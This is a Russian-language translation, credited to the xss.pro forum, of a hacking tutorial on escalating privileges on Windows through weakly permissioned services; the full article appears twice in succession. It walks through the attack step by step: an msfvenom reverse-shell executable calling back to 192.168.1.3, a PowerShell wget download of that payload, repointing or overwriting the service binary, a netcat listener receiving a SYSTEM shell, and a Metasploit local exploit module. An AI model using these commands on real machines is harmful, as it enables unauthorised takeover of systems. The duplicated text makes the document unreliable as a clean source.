Microsoft Windows предлагает широкий спектр детализированных разрешений и привилегий для управления доступом к компонентам Windows, включая службы, файлы и записи реестра. Использование неправильно настроенных служб - это один из способов повышения привилегий.
Службы MS Windows
Службы Microsoft Windows - https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications , ранее известные как службы NT, позволяют создавать долго работающие исполняемые приложения, которые запускаются в своих собственных сеансах Windows. Эти службы могут запускаться автоматически при загрузке компьютера, могут быть приостановлены и перезапущены и не отображают никакого пользовательского интерфейса. Для каждой службы раздел реестра существует в HKLM\SYSTEM\CurrentControlSet\Services. Система или учетная запись пользователя должны быть связаны со службой для правильной работы.
Следующие встроенные системные учетные записи часто используются для управления службами:
- LocalService
- NetworkService
- LocalSystem
Права доступа для диспетчера управления службами
SCM создает дескриптор безопасности объекта службы, когда служба устанавливается функцией CreateService. Дескриптор безопасности по умолчанию для объекта службы предоставляет следующий доступ.
Настройка лабы для слабых разрешений для сервисов
Эта статья поможет настроить лабораторную работу, которая будет посвящена двум неправильным настройкам разрешений для служб Windows, которые позволяют злоумышленнику получить административные привилегии:
- Небезопасные разрешения файла конфигурации: пользователь с низким уровнем привилегий может обновлять параметры службы, такие как двоичный файл службы, который запускается при запуске службы.
-Небезопасное исполняемый файл службы: при запуске службы пользователь с низкими привилегиями может перезаписать запускаемый ею двоичный файл.
Список управления доступом (ACL) для каждой службы определяет разрешения для этой службы. Некоторые разрешения чрезвычайно опасны, например:
- Команда: sc qc <service> - запросить конфигурацию службы
- Команда: sc query <service> - проверяет текущего статуса службы
- Команда: net start/stop <service> - для запуска и остановки службы
- Команда: sc config <service> <option> = <value> - изменить конфигурацию сервиса
Действия для слабых разрешений
Шаг 1. Запустите CMD от имени администратора и выполните следующую команду, чтобы создать службу с именем Pentest внутри каталога /temp.
sc.exe create pentest binPath= "C:\temp\service.exe"
Шаг 2: Чтобы создать уязвимый сервис, нам нужно назначить некоторую токсичную привилегию с помощью программы SubinACL (https://windows-resource-kit-tools-subinacl-exe.software.informer.com/download/), чтобы изменить разрешение сервисов.
Примечание:
SubInACL - это малоизвестный инструмент командной строки от Microsoft, но это один из лучших инструментов для работы с разрешениями безопасности в Windows. Этот инструмент может изменять разрешения для файлов, папок, ключей реестра, служб, принтеров, общих ресурсов кластера и различных других типов объектов.
В этом случае мы предоставили пользователю права приостанавливать запускать и останавливать-перезапускать службу. Полный список доступных разрешений службы:
Шаг 3: После загрузки SubinACL выполните следующую команду, чтобы назначить пользователю ignite разрешения PTOC для службы "Pentest".
cd C:\Program Files (x86)\Windows Resource Kits\Tools
subinacl.exe /service pentest /grant=msedgewin10\ignite=PTOC
Абузинг прав доступа к незащищенным файлам конфигурации (PTOC)
Злоумышленник может повысить привилегии, используя конфигурацию службы, если системные двоичные файлы имеют разрешения SERVIC_ ALL_ACCESS или SERVICE_CHANGE_CONFIG.
Следуя за начальной точкой опоры, вы можете использовать программу wmic для получения системных служб и запроса имени службы, имени запуска и пути.
wmic service get name,startname,pathname
Имя службы, показанное как pentest, запускается из каталога c:/ temp, как показано на следующем изображении. Мы можем проверить конфигурацию службы с помощью следующей команды.
sc qc pentest
Тип учетной записи службы - Localsystem, и она имеет права запускать, останавливать и приостанавливать службы в соответствии с выводом.
Мы можем определить разрешения SERVICE ALL ACCESS или SERVICE CHANGE CONFIG с помощью инструмента Sysinternals accesschk (https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) , поскольку эти возможности позволяют злоумышленникам изменять настройки службы.
accesschk.exe /accepteula –uwcqv ignite pentest
В нем говорится, что пользователь Ignite имеет полный доступ к этой службе.
Создайте исполняемую оболочку и установите ее на машину жертвы, затем измените двоичный путь службы к вредоносному исполняемому файлу, поскольку пользователь ignite имеет полный доступ к службе и, следовательно, имеет возможность изменять конфигурацию.
msfvenom –p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > shell.exe
python –m SimpleHTTPserver 80
Используйте следующую команду, чтобы перенести вредоносный shell.exe в C: /temp и запустить новый прослушиватель Netcat в Kali Linux.
cd c:\Users\public
powershell wget http://192.168.1.3/shell.exe -o shell.exe
dir
Поскольку пользователь ignite имеет доступ к редактированию конфигурации службы и ее последующему запуску, мы можем изменить путь и указать его на полезную нагрузку нашей обратной оболочки.
sc config pentest binPath= "C:\Users\Public\shell.exe"
net start pentest
Как только служба запустится, злоумышленник получит реверс-соединение в новом сеансе netcat как NT Authority\ system
nc –lvp 8888
whoami
Абузинг небезопасным исполняемым файлом службы (PTO)
Если у пользователя с низкими привилегиями есть как минимум разрешения на приостановку/продолжение, запуск и остановку для службы, злоумышленник может попытаться перезаписать системные двоичные файлы вредоносным исполняемым файлом, чтобы повысить привилегии.
cd c:\temp
dir
move service.exe service.bak
Используйте следующую команду для передачи вредоносного shell.exe в C:/ temp и запуска нового прослушивателя Netcat в Kali Linux.
powershell wget http://192.168.1.3/shell.exe -o service.exe
Как только служба запустится, злоумышленник получит реверс-соединение в новом сеансе netcat как NT Authority\system
nc –lvp 8888
whoami
Metasploit
Этот модуль пытается использовать существующие административные привилегии для получения системного сеанса. В случае сбоя прямого создания службы этот модуль будет проверять существующие службы на предмет небезопасных конфигураций, разрешений для файлов или реестра, которые могут быть взломаны. Затем он попытается перезапустить замененную службу, чтобы запустить полезную нагрузку.
use exploit/windows/local/service_permissions
set lhost 192.168.1.3
set session 1
exploit
В случае успеха это приведет к созданию нового сеанса NT AUTHORITY\SYSTEM.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-privilege-escalation-weak-services-permission/
Службы MS Windows
Службы Microsoft Windows - https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications , ранее известные как службы NT, позволяют создавать долго работающие исполняемые приложения, которые запускаются в своих собственных сеансах Windows. Эти службы могут запускаться автоматически при загрузке компьютера, могут быть приостановлены и перезапущены и не отображают никакого пользовательского интерфейса. Для каждой службы раздел реестра существует в HKLM\SYSTEM\CurrentControlSet\Services. Система или учетная запись пользователя должны быть связаны со службой для правильной работы.
Следующие встроенные системные учетные записи часто используются для управления службами:
- LocalService
- NetworkService
- LocalSystem
Права доступа для диспетчера управления службами
SCM создает дескриптор безопасности объекта службы, когда служба устанавливается функцией CreateService. Дескриптор безопасности по умолчанию для объекта службы предоставляет следующий доступ.
Настройка лабы для слабых разрешений для сервисов
Эта статья поможет настроить лабораторную работу, которая будет посвящена двум неправильным настройкам разрешений для служб Windows, которые позволяют злоумышленнику получить административные привилегии:
- Небезопасные разрешения файла конфигурации: пользователь с низким уровнем привилегий может обновлять параметры службы, такие как двоичный файл службы, который запускается при запуске службы.
-Небезопасное исполняемый файл службы: при запуске службы пользователь с низкими привилегиями может перезаписать запускаемый ею двоичный файл.
Список управления доступом (ACL) для каждой службы определяет разрешения для этой службы. Некоторые разрешения чрезвычайно опасны, например:
- Команда: sc qc <service> - запросить конфигурацию службы
- Команда: sc query <service> - проверяет текущего статуса службы
- Команда: net start/stop <service> - для запуска и остановки службы
- Команда: sc config <service> <option> = <value> - изменить конфигурацию сервиса
Действия для слабых разрешений
Шаг 1. Запустите CMD от имени администратора и выполните следующую команду, чтобы создать службу с именем Pentest внутри каталога /temp.
sc.exe create pentest binPath= "C:\temp\service.exe"
Шаг 2: Чтобы создать уязвимый сервис, нам нужно назначить некоторую токсичную привилегию с помощью программы SubinACL (https://windows-resource-kit-tools-subinacl-exe.software.informer.com/download/), чтобы изменить разрешение сервисов.
Примечание:
SubInACL - это малоизвестный инструмент командной строки от Microsoft, но это один из лучших инструментов для работы с разрешениями безопасности в Windows. Этот инструмент может изменять разрешения для файлов, папок, ключей реестра, служб, принтеров, общих ресурсов кластера и различных других типов объектов.
В этом случае мы предоставили пользователю права приостанавливать запускать и останавливать-перезапускать службу. Полный список доступных разрешений службы:
Шаг 3: После загрузки SubinACL выполните следующую команду, чтобы назначить пользователю ignite разрешения PTOC для службы "Pentest".
cd C:\Program Files (x86)\Windows Resource Kits\Tools
subinacl.exe /service pentest /grant=msedgewin10\ignite=PTOC
Абузинг прав доступа к незащищенным файлам конфигурации (PTOC)
Злоумышленник может повысить привилегии, используя конфигурацию службы, если системные двоичные файлы имеют разрешения SERVIC_ ALL_ACCESS или SERVICE_CHANGE_CONFIG.
Следуя за начальной точкой опоры, вы можете использовать программу wmic для получения системных служб и запроса имени службы, имени запуска и пути.
wmic service get name,startname,pathname
Имя службы, показанное как pentest, запускается из каталога c:/ temp, как показано на следующем изображении. Мы можем проверить конфигурацию службы с помощью следующей команды.
sc qc pentest
Тип учетной записи службы - Localsystem, и она имеет права запускать, останавливать и приостанавливать службы в соответствии с выводом.
Мы можем определить разрешения SERVICE ALL ACCESS или SERVICE CHANGE CONFIG с помощью инструмента Sysinternals accesschk (https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) , поскольку эти возможности позволяют злоумышленникам изменять настройки службы.
accesschk.exe /accepteula –uwcqv ignite pentest
В нем говорится, что пользователь Ignite имеет полный доступ к этой службе.
Создайте исполняемую оболочку и установите ее на машину жертвы, затем измените двоичный путь службы к вредоносному исполняемому файлу, поскольку пользователь ignite имеет полный доступ к службе и, следовательно, имеет возможность изменять конфигурацию.
msfvenom –p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > shell.exe
python –m SimpleHTTPserver 80
Используйте следующую команду, чтобы перенести вредоносный shell.exe в C: /temp и запустить новый прослушиватель Netcat в Kali Linux.
cd c:\Users\public
powershell wget http://192.168.1.3/shell.exe -o shell.exe
dir
Поскольку пользователь ignite имеет доступ к редактированию конфигурации службы и ее последующему запуску, мы можем изменить путь и указать его на полезную нагрузку нашей обратной оболочки.
sc config pentest binPath= "C:\Users\Public\shell.exe"
net start pentest
Как только служба запустится, злоумышленник получит реверс-соединение в новом сеансе netcat как NT Authority\ system
nc –lvp 8888
whoami
Абузинг небезопасным исполняемым файлом службы (PTO)
Если у пользователя с низкими привилегиями есть как минимум разрешения на приостановку/продолжение, запуск и остановку для службы, злоумышленник может попытаться перезаписать системные двоичные файлы вредоносным исполняемым файлом, чтобы повысить привилегии.
cd c:\temp
dir
move service.exe service.bak
Используйте следующую команду для передачи вредоносного shell.exe в C:/ temp и запуска нового прослушивателя Netcat в Kali Linux.
powershell wget http://192.168.1.3/shell.exe -o service.exe
Как только служба запустится, злоумышленник получит реверс-соединение в новом сеансе netcat как NT Authority\system
nc –lvp 8888
whoami
Metasploit
Этот модуль пытается использовать существующие административные привилегии для получения системного сеанса. В случае сбоя прямого создания службы этот модуль будет проверять существующие службы на предмет небезопасных конфигураций, разрешений для файлов или реестра, которые могут быть взломаны. Затем он попытается перезапустить замененную службу, чтобы запустить полезную нагрузку.
use exploit/windows/local/service_permissions
set lhost 192.168.1.3
set session 1
exploit
В случае успеха это приведет к созданию нового сеанса NT AUTHORITY\SYSTEM.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-privilege-escalation-weak-services-permission/

